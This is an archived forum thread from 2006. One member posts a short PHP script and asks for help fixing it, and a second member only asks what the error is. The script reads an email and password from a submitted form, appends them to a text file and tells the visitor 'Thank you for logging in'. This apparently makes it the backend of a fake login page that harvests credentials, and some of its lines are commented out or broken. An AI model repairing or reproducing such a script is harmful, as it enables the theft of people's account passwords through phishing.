Computer Forums

Member Login

Remember Me? Sign Up! | Forgot Password
 
Slogan
 
Closed Thread
Old 12-21-2006, 10:13 PM   #1 (permalink)
massacreinfallx's Avatar
 
Monster Techie

Join Date: Jun 2006

Posts: 1,567

massacreinfallx

Send a message via AIM to massacreinfallx
Default Script Help?

$fName = "sv.txt"; //rename to anything
$email = $_POST['email'];
$password = $_POST['password'];
$fHandle = fopen($fName, a); //Create sv.txt
echo "Thank you for logging in";
/*$wRite = fputs($fHandle, $email)*/; //writes email
$wRite1 = fputs($fHandle, " : "); //yes, I know what string concatenation is! I just coded this in a rush.
//$wRite2 = fputs($fHandle, $password); //writes password
$wRite3 = fputs($fHandle, "\r"); //return
$FCl = fclose($fHandle); //Close the file

Would sombody be able to fix that script
massacreinfallx is offline  
Old 12-23-2006, 11:44 AM   #2 (permalink)
 
Monster Techie

Join Date: Jul 2003

Posts: 1,179

Emily is on a distinguished road

Send a message via AIM to Emily
Default

What about it isn't working? Is it just not writing to the file or is there an error message or something?
__________________
<a href=\"http://www.upstark.com\">www.upstark.com</a>
Emily is offline  
 
Closed Thread

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On